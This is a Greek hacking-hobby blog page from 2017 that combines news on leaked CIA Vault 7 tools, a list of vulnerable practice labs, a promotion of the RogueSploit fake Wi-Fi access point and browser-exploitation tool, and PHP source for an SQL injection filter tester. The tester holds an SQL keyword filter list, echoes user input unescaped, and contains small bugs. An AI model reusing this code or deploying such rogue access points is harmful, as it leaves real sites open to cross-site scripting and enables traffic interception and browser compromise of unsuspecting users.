“Το εργαλείο OutlawCountry φέρει ένα λειτουργικό kernel module για το Linux 2.6. Ο επιτιθέμενος φορτώνει το module με shell στο στόχο. Όταν φορτωθεί, το module δημιουργεί ένα νέο πίνακα netfilter. Ο νέος πίνακας επιτρέπει τη δημιουργία ορισμένων κανόνων χρησιμοποιώντας την εντολή iptables. Αυτοί οι κανόνες υπερισχύουν των υφιστάμενων κανόνων και είναι ορατοί μόνο σε ένα διαχειριστή που γνωρίζει το όνομα του πίνακα. Όταν ο επιτιθέμενος αφαιρέσει το kernel module, ο νέος πίνακας αφαιρείται επίσης.”

Ακριβώς όπως στα Windows, συνιστάται στους χρήστες του λειργικού Linux να ενημερώνουν τα συστήματα τους άμεσα στις πιο πρόσφατες εκδόσεις και να αναπτύσσουν όλα τα διαθέσιμα patches που κυκλοφορούν στα επίσημα αποθετήρια τις κάθε διανομής.
WikiLeaks Vault 7



Να υπενθυμίσουμε ότι το Wikileaks κυκλοφορεί έγγραφα στη σειρά Vault 7 από τις 7 Μαρτίου, εκθέτοντας όλο και περισσότερα εργαλεία των hackers της CIΑ.

“Year Zero” η CIA εκμεταλλεύεται δημοφιλή hardware και λογισμικό.
“Weeping Angel” το εργαλείο κατασκοπείας που χρησιμοποιεί η υπηρεσία για να διεισδύσει σε έξυπνες τηλεοράσεις, μετατρέποντάς τες σε συγκεκαλυμμένα μικρόφωνα.
“Dark Matter” exploits που στοχεύουν iPhones και Mac.
“Marble” ο πηγαίος κώδικας ενός μυστικού anti-forensic framework. Ουσιαστικά είναι ένα obfuscator που χρησιμοποιεί η CIA για να κρύψει την πραγματική πηγή κακόβουλου λογισμικού.
“Grasshopper” ένα framework το οποίο επιτρέπει στην υπηρεσία πληροφοριών να δημιουργήσει εύκολα προσαρμοσμένο κακόβουλο λογισμικό για να παραβιάζει Windows της Microsoft και να παρακάμψει κάθε προστασία από ιούς.



“Archimedes”– ένα εργαλείο επίθεσης MitM που φέρεται ότι δημιούργησε η CIA για τη στοχοθέτηση υπολογιστών μέσα σε ένα τοπικό δίκτυο (LAN).

"Scribbles" ένα software που είναι σχεδιασμένο να προσθέτει ‘web beacons’ σε απόρρητα έγγραφα, για να επιτρέπει τον έλεγχο των διαρροών από τις μυστικές υπηρεσίες.

"Athena": έχει σχεδιαστεί για να μπορεί να αποκτήσει απόλυτα τον πλήρη έλεγχο των μολυσμένων υπολογιστών Windows, επιτρέποντας στην CIA να εκτελεί πάρα πολλές λειτουργίες στο μηχάνημα-στόχο, όπως διαγραφή δεδομένων ή εγκατάσταση κακόβουλου λογισμικού, κλοπής δεδομένων και αποστολής τους σε servers της CIA.

"CherryBlossom" εργαλείο που παρακολουθεί τη δραστηριότητα στο διαδίκτυο ενός στόχου, να ανακατευθύνει το πρόγραμμα περιήγησης, να ανιχνεύει διευθύνσεις ηλεκτρονικού ταχυδρομείου και αριθμούς τηλεφώνου και πολλά άλλα, μέσω του router.
"Brutal Kangaroo" εργαλείο που μπορεί να χρησιμοποιηθεί για να μολύνει air-gapped υπολογιστές με κακόβουλο λογισμικό.

"ELSA" malware των Windows που χρησιμοποιεί η CIA για τον προσδιορισμό της θέσης ενός συγκεκριμένου χρήστη χρησιμοποιώντας το Wi-Fi του υπολογιστή του.







Πηγή: secnews
Ιουλίου 04, 2017 | 0 σχόλια | Διαβάστε περισσότερα

Λίστα με ιστοσελίδες για εξάσκηση hacking (2017)

Written By Fouls Code on Δευτέρα, 3 Ιουλίου 2017 | Ιουλίου 03, 2017





|  Site name  |                                           |   Description   |

$natch competition Remote banking system containing common vulnerabilities.

Arizona Cyber Warfare Range The ranges offer an excellent platform for you to learn computer network attack (CNA), computer network defense (CND), and digital forensics (DF). You can play any of these roles.

Avatao More than 350 hands-on challenges (free and paid) to master IT security and it's growing day by day.

BodgeIt Store The BodgeIt Store is a vulnerable web application which is currently aimed at people who are new to pen testing.

Bright Shadows Training in Programming, JavaScript, PHP, Java, Steganography, and Cryptography (among others).

bWAPP bWAPP, or a buggy web application, is a free and open source deliberately insecure web application.

Cyber Degrees Free online cyber security Massive Open Online Courses (MOOCS).

Commix testbed A collection of web pages, vulnerable to command injection flaws.

CryptOMG CryptOMG is a configurable CTF style test bed that highlights common flaws in cryptographic implementations.

Cyber Security Base Cyber Security Base is page with free courses by University of Helsinki in collaboration with F-Secure.

Cybersecuritychallenge UK Cyber Security Challenge UK runs a series of competitions designed to test your cyber security skills.

Cybertraining365 Cybertraining365 has paid material but also offers free classes. The link is directed at the free classes.

Cybrary.it Free and Open Source Cyber Security Learning.

Damn Small Vulnerable Web Damn Small Vulnerable Web (DSVW) is a deliberately vulnerable web application written in under 100 lines of code, created for educational purposes. It supports majority of (most popular) web application vulnerabilities together with appropriate attacks.

Damn Vulnerable Android App Damn Vulnerable Android App (DVAA) is an Android application which contains intentional vulnerabilities.

Damn Vulnerable Hybrid Mobile App Damn Vulnerable Hybrid Mobile App (DVHMA) is an hybrid mobile app (for Android) that intentionally contains vulnerabilities.

Damn Vulnerable iOS App Damn Vulnerable iOS App (DVIA) is an iOS application that is damn vulnerable.

Damn Vulnerable Linux Damn Vulnerable Linux (DVL) is everything a good Linux distribution isn't. Its developers have spent hours stuffing it with broken, ill-configured, outdated, and exploitable software that makes it vulnerable to attacks.

Damn Vulnerable Router Firmware The goal of this project is to simulate a real-world environment to help people learn about other CPU architectures outside of the x86_64 space. This project will also help people get into discovering new things about hardware.

Damn Vulnerable Stateful Web App Short and simple vulnerable PHP web application that naïve scanners found to be perfectly safe.

Damn Vulnerable Thick Client App DVTA is a Vulnerable Thick Client Application developed in C# .NET with many vulnerabilities.

Damn Vulnerable Web App Damn Vulnerable Web App (DVWA) is a PHP/MySQL web application that is damn vulnerable. Its main goals are to be an aid for security professionals to test their skills and tools in a legal environment, help web developers better understand the processes of securing web applications and aid teachers/students to teach/learn web application security in a class room environment.

Damn Vulnerable Web Services Damn Vulnerable Web Services is an insecure web application with multiple vulnerable web service components that can be used to learn real world web service vulnerabilities.

Damn Vulnerable Web Sockets Damn Vulnerable Web Sockets (DVWS) is a vulnerable web application which works on web sockets for client-server communication.

Damnvulnerable.me A deliberately vulnerable modern day app with lots of DOM-related bugs.

Dareyourmind Online game, hacker challenge.

DIVA Android Damn Insecure and vulnerable App for Android.

EnigmaGroup Safe security resource, trains in exploits listed in the OWASP Top 10 Project and teach members the many other types of exploits that are found in today's applications.

ENISA Training Material The European Union Agency for Network and Information Security (ENISA) Cyber Security Training. You will find training materials, handbooks for teachers, toolsets for students and Virtual Images to support hands-on training sessions.

exploit.co.il Vulnerable Web App exploit.co.il Vulnerable Web app designed as a learning platform to test various SQL injection Techniques.

Exploit-exercises.com exploit-exercises.com provides a variety of virtual machines, documentation and challenges that can be used to learn about a variety of computer security issues such as privilege escalation, vulnerability analysis, exploit development, debugging, reverse engineering, and general cyber security issues.

ExploitMe Mobile Set of labs and a exploitable framework for you to hack mobile a application on Android.

Game of Hacks This game was designed to test your application hacking skills. You will be presented with vulnerable pieces of code and your mission if you choose to accept it is to find which vulnerability exists in that code as quickly as possible.

GameOver Project GameOver was started with the objective of training and educating newbies about the basics of web security and educate them about the common web attacks and help them understand how they work.

Gh0stlab A security research network where like-minded individuals could work together towards the common goal of knowledge.

GoatseLinux GSL is a Vmware image you can run for penetration testing purposes.

Google Gruyere Labs that cover how an application can be attacked using common web security vulnerabilities, like cross-site scripting vulnerabilities (XSS) and cross-site request forgery (XSRF). Also you can find labs how to find, fix, and avoid these common vulnerabilities and other bugs that have a security impact, such as denial-of-service, information disclosure, or remote code execution.

Hack This Site More than just another hacker wargames site, Hack This Site is a living, breathing community with many active projects in development, with a vast selection of hacking articles and a huge forum where users can discuss hacking, network security, and just about everything.

Hack Yourself First This course is designed to help web developers on all frameworks identify risks in their own websites before attackers do and it uses this site extensively to demonstrate risks.

Hack.me Hack.me aims to be the largest collection of "runnable" vulnerable web applications, code samples and CMS's online. The platform is available without any restriction to any party interested in Web Application Security.

Hackademic Offers realistic scenarios full of known vulnerabilities (especially, of course, the OWASP Top Ten) for those trying to practice their attack skills.

Hackazon A modern vulnerable web app.

Hackertest.net HackerTest.net is your own online hacker simulation with 20 levels.

Hacking-Lab Hacking-Lab is an online ethical hacking, computer network and security challenge platform, dedicated to finding and educating cyber security talents. Furthermore, Hacking-Lab is providing the CTF and mission style challenges for the European Cyber Security Challenge with Austria, Germany, Switzerland, UK, Spain, Romania and provides free OWASP TOP 10 online security labs.

HackSys Extreme Vulnerable Driver HackSys Extreme Vulnerable Driver is intentionally vulnerable Windows driver developed for security enthusiasts to learn and polish their exploitation skills at Kernel level.

HackThis!! Test your skills with 50+ hacking levels, covering all aspects of security.

Hackxor Hackxor is a web app hacking game where players must locate and exploit vulnerabilities to progress through the story. Think WebGoat but with a plot and a focus on realism&difficulty. Contains XSS, CSRF, SQLi, ReDoS, DOR, command injection, etc.

Halls of Valhalla Challenges you can solve. Valhalla is a place for sharing knowledge and ideas. Users can submit code, as well as science, technology, and engineering-oriented news and articles.

Hax.Tor Provides numerous interesting “hacking” challenges to the user.

Hellbound Hackers Learn a hands-on approach to computer security. Learn how hackers break in, and how to keep them out.

Holynix Holynix is an Linux VMware image that was deliberately built to have security holes for the purposes of penetration testing.

HSCTF3 HSCTF is an international online hacking competition designed to educate high schoolers in computer science.

Information Assurance Support Environment (IASE) Great site with Cybersecurity Awareness Training, Cybersecurity Training for IT Managers, Cybersecurity Training for Cybersecurity Professionals, Cybersecurity Technical Training, NetOps Training, Cyber Law Awareness, and FSO Tools Training available online.

InfoSec Institute Free CISSP Training course.

ISC2 Center for Cyber Safety and Education Site to empower students, teachers, and whole communities to secure their online life through cyber security education and awareness with the Safe and Secure Online educational program; information security scholarships; and industry and consumer research.

Java Vulnerable Lab Vulnerable Java based Web Application.

Juice Shop OWASP Juice Shop is an intentionally insecure web app for security trainings written entirely in Javascript which encompasses the entire OWASP Top Ten and other severe security flaws.

Ka0labs Here you will find jeopardy-style challenges without stressful time-limits of regular CTFs.

Kioptrix VM This vulnerable machine is a good starting point for beginners.

LAMPSecurity Training LAMPSecurity training is designed to be a series of vulnerable virtual machine images along with complementary documentation designed to teach Linux,apache,PHP,MySQL security.

Magical Code Injection Rainbow The Magical Code Injection Rainbow! MCIR is a framework for building configurable vulnerability testbeds. MCIR is also a collection of configurable vulnerability testbeds.

McAfee HacMe Sites Search the page for HacMe and you'll find a suite of learning tools.

Metasploit Unleashed Free Ethical Hacking Course.

Metasploitable 3 Metasploitable3 is a VM that is built from the ground up with a large amount of security vulnerabilities.

Microcorruption CTF Challenge: given a debugger and a device, find an input that unlocks it. Solve the level with that input.

Morning Catch Morning Catch is a VMware virtual machine, similar to Metasploitable, to demonstrate and teach about targeted client-side attacks and post-exploitation.

Moth Moth is a VMware image with a set of vulnerable Web Applications and scripts.

Mutillidae OWASP Mutillidae II is a free, open source, deliberately vulnerable web application providing a target for web-security enthusiast.

MysteryTwister C3 MysteryTwister C3 lets you solve crypto challenges, starting from the simple Caesar cipher all the way to modern AES, they have challenges for everyone.

National Institutes of Health (NIH) Short courses on Information Security and Privacy Awareness. They have a section for executives, managers and IT Administrators as well.

Overthewire The wargames offered by the OverTheWire community can help you to learn and practice security concepts in the form of fun-filled games.

OWASP Broken Web Applications Project OWASP Broken Web Applications Project is a collection of vulnerable web applications that is distributed on a Virtual Machine.

OWASP GoatDroid OWASP GoatDroid is a fully functional and self-contained training environment for educating developers and testers on Android security. GoatDroid requires minimal dependencies and is ideal for both Android beginners as well as more advanced users.

OWASP iGoat iGoat is a learning tool for iOS developers (iPhone, iPad, etc.).

OWASP Mutillidae II OWASP Mutillidae II is a free, open source, deliberately vulnerable web-application providing a target for web-security enthusiast.

OWASP Security Shepherd The OWASP Security Shepherd project is a web and mobile application security training platform.

OWASP SiteGenerator OWASP SiteGenerator allows the creating of dynamic websites based on XML files and predefined vulnerabilities (some simple, some complex) covering .Net languages and web development architectures (for example, navigation: Html, Javascript, Flash, Java, etc...).

Pentesterlab This exercise explains how you can, from a SQL injection, gain access to the administration console, then in the administration console, how you can run commands on the system.

Pentestit.ru Pentestit.ru has free labs that emulate real IT infrastructures. It is created for practising legal pen testing and improving penetration testing skills. OpenVPN is required to connect to the labs.

Peruggia Peruggia is designed as a safe, legal environment to learn about and try common attacks on web applications. Peruggia looks similar to an image gallery, but contains several controlled vulnerabilities to practice on.

PicoCTF picoCTF is a computer security game targeted at middle and high school students. The game consists of a series of challenges centered around a unique storyline where participants must reverse engineer, break, hack, decrypt, or do whatever it takes to solve the challenge.

Professor Messer Good free training video's, not only on Security, but on CompTIA A+, Network and Microsoft related as well.

Puzzlemall PuzzleMall - A vulnerable web application for practicing session puzzling.

Pwnable.kr 'pwnable.kr' is a non-commercial wargame site which provides various pwn challenges regarding system exploitation. while playing pwnable.kr, you could learn/improve system hacking skills but that shouldn't be your only purpose.

Pwnerrank A Capture The Flag platform dedicated to information security learning, training and practicing by solving a set challenges.

Pwnos PwnOS is a vulnerable by design OS .. and there are many ways you can hack it.

Reversing.kr This site tests your ability to Cracking & Reverse Code Engineering.

Ringzero Challenges you can solve and gain points.

Risk3Sixty Free Information Security training video, an information security examination and the exam answer key.

Root Me Hundreds of challenges and virtual environments. Each challenge can be associated with a multitude of solutions so you can learn.

RPISEC/MBE Modern Binary Exploitation Course materials.

RPISEC/Malware Malware Analysis Course materials.

SANS Cyber Aces SANS Cyber Aces Online makes available, free and online, selected courses from the professional development curriculum offered by The SANS Institute, the global leader in cyber security training.

Scene One Scene One is a pen testing scenario liveCD made for a bit of fun and learning.

SEED Labs The SEED project has labs on Software, Network, Web, Mobile and System security and Cryptography labs.

SentinelTestbed Vulnerable website. Used to test sentinel features.

SG6 SecGame Spanish language, vulnerable GNU/Linux systems.

SlaveHack My personal favorite : Slavehack is a virtual hack simulation game. Great for starters, I've seen kids in elementary school playing this!

SlaveHack 2 BETA Slavehack 2 is a sequel on the original Slavehack. It's also a virtual hack simulation game but you will find features much more closer to today's Cyber reality.

Smashthestack This network hosts several different wargames, ranging in difficulty. A wargame, in this context, is an environment that simulates software vulnerabilities and allows for the legal execution of exploitation techniques.

SocketToMe SocketToMe SocketToMe is little application for testing web sockets.

SQLI labs SQLI labs to test error based, Blind boolean based, Time based.

Sqlilabs Lab set-up for learning SQL Injection Techniques.

SQLzoo Try your Hacking skills against this test system. It takes you through the exploit step-by-step.

Stanford SecuriBench Stanford SecuriBench is a set of open source real-life programs to be used as a testing ground for static and dynamic security tools. Release .91a focuses on Web-based applications written in Java.

The ButterFly - Security Project The ButterFly project is an educational environment intended to give an insight into common web application and PHP vulnerabilities. The environment also includes examples demonstrating how such vulnerabilities are mitigated.

ThisIsLegal A hacker wargames site but also with much more.

Try2Hack Try2hack provides several security-oriented challenges for your entertainment. The challenges are diverse and get progressively harder.

UltimateLAMP UltimateLAMP is a fully functional environment allowing you to easily try and evaluate a number of LAMP stack software products without requiring any specific setup or configuration of these products.

Vicnum Vicnum is an OWASP project consisting of vulnerable web applications based on games commonly used to kill time. These applications demonstrate common web security problems such as cross-site scripting, SQL injections, and session management issues.

Vulnhub An extensive collection of vulnerable VMs with user-created solutions.

Vulnix A vulnerable Linux host with configuration weaknesses rather than purposely vulnerable software versions.

Vulnserver Windows based threaded TCP server application that is designed to be exploited.

W3Challs W3Challs is a penetration testing training platform, which offers various computer challenges, in categories related to security

WackoPicko WackoPicko is a vulnerable web application used to test web application vulnerability scanners.

Web Attack and Exploitation Distro WAED is pre-configured with various real-world vulnerable web applications in a sandboxed environment. It includes pen testing tools as well.

Web Security Dojo Web Security Dojo is a preconfigured, stand-alone training environment for Web Application Security.

WebGoat WebGoat is a deliberately insecure web application maintained by OWASP designed to teach web application security lessons. You can install and practice with WebGoat.

Wechall Focussed on offering computer-related problems. You will find Cryptographic, Crackit, Steganography, Programming, Logic and Math/Science. The difficulty of these challenges vary as well.

XSS-game In this training program, you will learn to find and exploit XSS bugs. You'll use this knowledge to confuse and infuriate your adversaries by preventing such bugs from happening in your applications.

XVWA XVWA is a badly coded web application written in PHP/MySQL that helps security enthusiasts to learn application security.

Ιουλίου 03, 2017 | 0 σχόλια | Διαβάστε περισσότερα

Information Gathering με NMAP

Written By Fouls Code on Παρασκευή, 30 Ιουνίου 2017 | Ιουνίου 30, 2017




Σε αυτό το tutorial θα χρησιμοποιήσουμε το NMAP για να συγκεντρώσουμε πληροφορίες για ανοικτές πόρτες στο στόχο μας.



Ας ξεκινήσουμε με κάποια βασικά πράγματα για το NMAP.



Χρησιμοποιόντας το NMAP μπορούμε να βρούμε ανοικτές πόρτες και εκδόσεις υπηρεσιών οι οποίες τρέχουν σε ένα server και μπορούν να μας βοηθήσουν να λάβουμε άμεση πρόσβαση εκμεταλλεύοντας οποιαδήποτε λειτουργία ή μέσω bruteforce. Επίσης μπορούν να μας βοηθήσουν να καταλάβουμε σχετικά με υπηρεσίες οι οποίες τρέχουν στο server, έτσι ώστε αργότερα μπορεί να χρειαστούν ενώ κάνουμε pentesting.


Για να συνεχίσετε την ανάγνωση μπείτε στον παρακάτω σύνδεσμο.
Δεν είναι διαφήμιση η κάτι τέτοιο.

Κωδικός: username: foulscode 
                password:  foulscode

>>>>>http://foulscode.xtgem.com/hck/nap

via:greekhacking.gr

Ιουνίου 30, 2017 | 0 σχόλια | Διαβάστε περισσότερα

RogueSploit - Powerfull social engeering Wi-Fi trap!

Written By Fouls Code on Τρίτη, 27 Ιουνίου 2017 | Ιουνίου 27, 2017


RogueSploit is an open source automated script made to create a Fake Acces Point, with dhcpd server, dns spoofing, host redirection, browser_autopwn1 or autopwn2 or beef+mitmf.







TO DO LIST:
Add BeEF;[DONE]
Add MITMF;[DONE]
Add BDFProxy;
Add SeToolkit;
Add Hostapd as fake ap;
Add some features;


What you need:
Aircrack-ng Suite [ https://github.com/aircrack-ng/aircrack-ng ]
Dhcpd server
Metasploit Framework [ https://github.com/rapid7/metasploit-framework ]
Browser Exploitation Framework [ https://github.com/beefproject/beef ]
dnsmasq
GNU / Linux based Operating Sistem [ https://kali.org ]
External Wireless Interface like TP-Link TL-WN722N
Zenity
Hostapd
Social Engineer Toolkit [ https://github.com/trustedsec/social-engineer-toolkit ]
MITMF [ https://github.com/byt3bl33d3r/MITMf ]


Download RogueSploit
Ιουνίου 27, 2017 | 0 σχόλια | Διαβάστε περισσότερα

Μπορούν να χακάρουν υπολιγιστές με …ηλεκτρονικό τσιγάρο

Written By Fouls Code on Σάββατο, 24 Ιουνίου 2017 | Ιουνίου 24, 2017



Μόλις αποκτήσατε άλλον έναν λόγο για να κόψετε το τσιγάρο – ακόμη και το ηλεκτρονικό τσιγάρο. Μπορεί -όσο κι αν ακούγεται απίστευτο- εξαιτίας του ο υπολογιστής σας να πέσει θύμα χάκερ. Εσείς νομίζετε ότι το ηλεκτρονικό τσιγάρο σας απλώς φορτίζει τη μπαταρία του με τη βοήθεια του υπολογιστή σας, όμως αυτό μπορεί να κάνει τα…δικά του πίσω από την πλάτη σας.




Ένας ερευνητής για θέματα κυβερνοασφάλειας, ο Ρος Μπέβινγκτον, ο οποίος έκανε σχετική παρουσίαση στο Λονδίνο, σύμφωνα με το Sky News και τη «Ντέιλι Μέιλ», υποστήριξε ότι είναι δυνατό να παραβιασθεί ένας υπολογιστής, αν στη θύρα USB του συνδεθεί για φόρτιση η μπαταρία ενός -«μολυσμένου» από χάκερ- ηλεκτρονικού τσιγάρου.
Με τον τρόπο αυτό, είναι δυνατό να «τρυπώσει» στον υπολογιστή του ανυποψίαστου χρήστη κακόβουλο λογισμικό (malware). Βεβαίως για να γίνει αυτό, θα πρέπει πρώτα ο χάκερ να έχει «πειράξει» το τσιπάκι του ηλεκτρονικού τσιγάρου, έτσι ώστε αυτό να μπορεί να εκτελέσει τον κακόβουλο κώδικά του, όταν συνδεθεί με τον υπολογιστή.
Αν και η επίθεση προϋποθέτει ότι το σύστημα του χρήστη είναι ξεκλείδωτο, ο Μπέβινγκτον δεν αποκλείει ότι ακόμη και κλειδωμένοι με κωδικό υπολογιστές θα μπορούσαν να είναι ευάλωτοι.
tribune.gr
Ιουνίου 24, 2017 | 0 σχόλια | Διαβάστε περισσότερα

O επίσημος λογαριασμός της NSA στο GitHub!

Written By Fouls Code on Πέμπτη, 22 Ιουνίου 2017 | Ιουνίου 22, 2017



Η Εθνική Υπηρεσία Ασφαλείας (NSA), η αμερικανική υπηρεσία πληροφοριών, τελικά αποφάσισε να δημιουργήσει μια επίσημη σελίδα στο GitHub.

Η NSA απασχολεί κωδικοποιητές γενικής φύσης και λαμπρούς μαθηματικούς, οι οποίοι δουλεύουν για να σπάσουν κωδικούς, να συλλέγουν πληροφορίες από όλους και για να αναπτύξουν εργαλεία hacking όπως το EternalBlue που διέρρευσε από τους Shadow Brokers τον Απρίλιο και χρησιμοποιήθηκε από το ransomware WannaCry τον περασμένο μήνα.


Η μυστική υπηρεσία λειτουργεί ως επί το πλείστον underground, αλλά μετά τις διαρροές του Edward Snowden το 2013, η NSA ξεκίνησε (σιγά-σιγά) να υπάρχει για τον κόσμο. Δημιούργησε ένα λογαριασμό στο Twitter την ίδια χρονιά μετά τις διαρροές του Snowden και τώρα άνοιξε έναν λογαριασμό στο Github.

Το GitHub είναι μια ηλεκτρονική υπηρεσία που έχει σχεδιαστεί για την κοινή χρήση κώδικα μεταξύ προγραμματιστών και της κοινότητας ανοιχτού κώδικα. Μέχρι στιγμής, η NSA μοιράζεται 32 διαφορετικά projects στο πλαίσιο του Technology Transfer Program (TPP) ενός προγράμματος μεταφοράς τεχνολογίας της NSA (TTP), ενώ ορισμένα από αυτά θα έρθουν «σύντομα».

“Το πρόγραμμα μεταφοράς τεχνολογίας ή Technology Transfer Program (TTP) συνεργάζεται με καινοτόμους φορείς που επιθυμούν να χρησιμοποιήσουν αυτό το συνεργατικό μοντέλο για τη μεταφορά της τεχνολογίας τους στην εμπορική αγορά”, ανέφερε η υπηρεσία στη σελίδα του προγράμματος.




Πολλά από τα projects που διέθεσε η υπηρεσία είναι χρόνια γνωστά και έχουν διαρρεύσει στο Διαδίκτυο εδώ και αρκετό καιρό. Για παράδειγμα, το SELinux (Security-Enhanced Linux) αποτελεί μέρος του πυρήνα του Linux εδώ και χρόνια.
Ορισμένα από τα open source projects της NSA αναφέρονται παρακάτω:

Certificate Authority Situational Awareness (CASA): Ένα απλό εργαλείο που αναγνωρίζει τα απροσδόκητα και απαγορευμένα πιστοποιητικά εξουσιοδότησης στα συστήματα των Windows.
Control Flow Integrity: Τεχνική που βασίζεται στο hardware για την αποφυγή exploits που στοχεύουν τη μνήμη.
GRASSMARLIN: Για την κατανόηση της κατάστασης δικτύων IP σε δίκτυα ICS και SCADA και για την υποστήριξη της ασφάλειας δικτύων.
Open Attestation: Ένα έργο απομακρυσμένης ανάκτησης και επαλήθευσης της ακεραιότητας του συστήματος με τη χρήση της μονάδας Trusted Platform Module (TPM).
RedhawkSDR: Πρόκειται για ένα καθορισμένο από λογισμικό πλαίσιο ραδιοσυχνοτήτων (SDR) που παρέχει εργαλεία για την ανάπτυξη, και τη διαχείριση ραδιοφωνικών εφαρμογών λογισμικού σε πραγματικό χρόνο.
OZF Widget Framework (OWF): Είναι βασικά μια εφαρμογή web που τρέχει στο πρόγραμμα περιήγησης και επιτρέπει στους χρήστες να δημιουργούν ελαφριά widget και να έχουν εύκολη πρόσβαση σε όλα τα ηλεκτρονικά εργαλεία τους από μια ιστοσελίδα.

Μπορείτε να δείτε την πλήρη λίστα των projects της NSA από το παρακάτω link

https://nationalsecurityagency.github.io/


via: secnews.gr
Ιουνίου 22, 2017 | 0 σχόλια | Διαβάστε περισσότερα

SQL Injection Filter Bypassing v0.4


Note: This application does not require any database.

Code:

<!DOCTYPE html>
<html>
<head>
<title>SQL Injection Filter Bypassing v0.4</title>
<style>
hr {margin:24px 0;}
</style>
</head>
<body>
<h1>SQL Injection Filter Bypassing v0.4</h1>
<?php
$filter = array(
'syntax' => array(
'union' => array('caption' => 'UNION','filter' => 'union'),
'select' => array('caption' => 'SELECT','filter' => 'select'),
'from' => array('caption' => 'FROM','filter' => 'from'),
'where' => array('caption' => 'WHERE','filter' => 'where'),
'limit' => array('caption' => 'LIMIT','filter' => 'limit'),
'wait_for' => array('caption' => 'WAIT FOR','filter' => 'wait for'),
'group_by' => array('caption' => 'GROUP BY','filter' => 'group by'),
'order_by' => array('caption' => 'ORDER BY','filter' => 'order by'),
'into' => array('caption' => 'INTO', 'filter' => 'into'),
'file' => array('caption' => 'FILE', 'filter' => 'file'),
'outfile' => array('caption' => 'OUTFILE', 'filter' => 'outfile'),
'infile' => array('caption' => 'INFILE', 'filter' => 'infile'),
'having' => array('caption' => 'HAVING', 'filter' => 'having'),
'truncate' => array('caption' => 'TRUNCATE', 'filter' => 'truncate'),
'insert' => array('caption' => 'INSERT','filter' => 'insert'),
'update' => array('caption' => 'UPDATE','filter' => 'update'),
'delete' => array('caption' => 'DELETE','filter' => 'delete'),
'droptable' => array('caption' => 'DROPTABLE','filter' => 'droptable'),
'case' => array('caption' => 'CASE', 'filter' => 'case'),
),
'operators' => array(
'and' => array('caption' => 'AND','filter' => 'and'),
'&&' => array('caption' => '&&','filter' => '&&'),
'or' => array('caption' => 'OR','filter' => 'or'),
'||' => array('caption' => '||','filter' => '\|\|'),
'=' => array('caption' => '=', 'filter' => '='),
'<>' => array('caption' => '<>', 'filter' => '<>'),
'like' => array('caption' => 'LIKE','filter' => 'like'),
'is' => array('caption' => 'IS','filter' => 'is'),
'not' => array('caption' => 'NOT','filter' => 'not'),
'if' => array('caption' => 'IF','filter' => 'if'),
'null' => array('caption' => 'NULL','filter' => 'null')
),
'functions' => array(
'benchmark' => array('caption' => 'BENCHMARK','filter' => 'benchmark'),
'hex' => array('caption' => 'HEX','filter' => 'hex'),
'unhex' => array('caption' => 'UNHEX','filter' => 'unhex'),
'substr' => array('caption' => 'SUBSTR','filter' => 'substr'),
'mid' => array('caption' => 'MID','filter' => 'mid'),
'extractvalue' => array('caption' => 'ExtractValue','filter' => 'extractvalue'),
'concat' => array('caption' => 'CONCAT', 'filter' => 'concat'),
'concat_ws' => array('caption' => 'CONCAT_WS','filter' => 'concat_ws'),
'group_concat' => array('caption' => 'GROUP_CONCAT','filter' => 'group_concat'),
'mod' => array('caption' => 'MOD','filter' => 'mod'),
'load_file' => array('caption' => 'LOAD_FILE','filter' => 'load_file'),
'cast' => array('caption' => 'CAST', 'fitler' => 'cast'),
),
'misc' => array(
'--' => array('caption' => '--','filter' => '--'),
'#' => array('caption' => '#','filter' => '#'),
'/*' => array('caption' => '/*','filter' => '\/\*'),
)
);
if (!empty($_POST)) {
$case = (isset($_POST['case'])) ? $_POST['case'] : 'lower';
$method = (isset($_POST['method'])) ? $_POST['method'] : 'string';
$injection = $_POST['injection'];
$mods = '';
if ($case == 'both') { $mods .= 'i'; }
$parts = array();
if (isset($_POST['filter'])) {
foreach ($_POST['filter'] as $type => $keyword) {
foreach ($keyword as $k => $state) {
$key = $filter[$type][$k]['filter'];
if ($case == 'upper') {
$used[$k] = strtoupper($key);
$parts[] = strtoupper($key);
} elseif ($case == 'lower') {
$used[$k] = strtolower($key);
$parts[] = strtolower($key);
} else {
$used[$k] = $key;
$parts[] = $key;
}
}
}

$filters = implode('|',$parts);

#if ($method == 'integer') { $used['\''] = '\\\''; $used['\"'] = '\\\"'; $filters .= '|\'|\"'; }
if ($method == 'integer') { $used['\''] = '\\\''; $user['\"'] = '\\\"'; $filters .= '|\'|\"'; }

if (preg_match_all("/{$filters}/{$mods}", $injection, $matches)) {
$matched = array();
for ($i = 0;$i <= (sizeof($matches[0])-1);$i++) {
$matched[] = $used[strtolower($matches[0][$i])];
}
$matched = implode('|', $matched);
$injection = preg_replace("/({$matched})/{$mods}", '<span style="color:red;">\1</span>', $injection);
$triggers = array_unique($matches[0]);
$triggers = implode(', ', $triggers);
if ($method == 'string') {
$query = "SELECT * FROM table WHERE column = '{$injection}'";
} else {
$query = "SELECT * FROM table WHERE column = {$injection}";
}
echo "<hr><h2>Result: Filtered</h2><strong>Triggers:</strong> {$triggers}<br /><br />{$query}<hr>";
} else {
if ($method == 'string') {
$query = "SELECT * FROM table WHERE column = '{$injection}'";
} else {
$query = "SELECT * FROM table WHERE column = {$injection}";
}
echo "<hr><h2>Result: Passed</h3>{$query}<hr>";
}
} else {
if ($method == 'integer') {
if (!isset($filters)) { $used['\''] = '\\\''; $user['\"'] = '\\\"'; $filters = '|\'|\"'; }
if (preg_match_all("/{$filters}/{$mods}", $injection, $matches)) {
$matched = array();
for ($i = 0;$i <= (sizeof($matches[0])-1);$i++) {
if (isset($used[strtolower($matches[0][$i])])) {
$matched[] = $used[strtolower($matches[0][$i])];
}
}
$matched = implode('|', $matched);
$triggers = array_unique($matches[0]);
$triggers = implode(', ', $triggers);
$injection = preg_replace("/({$matched})/{$mods}", '<span style="color:red;">\1</span>', $injection);
if ($method == 'string') {
$query = "SELECT * FROM table WHERE column = '{$injection}'";
} else {
$query = "SELECT * FROM table WHERE column = {$injection}";
}
echo "<hr><h2>Result: Filtered</h2><strong>Triggers:</strong> {$triggers}<br /><br />{$query}<hr>";
}
} else {
if ($method == 'string') {
$query = "SELECT * FROM table WHERE column = '{$injection}'";
} else {
$query = "SELECT * FROM table WHERE column = {$injection}";
}
echo "<hr><h2>Result: Passed</h2>{$query}<hr>";
}
}
}
?>
<form name="keywords" method="post" action="">
<input type="text" name="injection" style="width:500px;" autofocus="true" value="<?php echo (isset($_POST['injection'])) ? $_POST['injection'] : ''; ?>">
<input type="submit" value="Execute"><br />
<?php $case = (isset($_POST['case'])) ? $_POST['case'] : 'both'; ?>
<?php $method = (isset($_POST['method'])) ? $_POST['method'] : 'string'; ?>
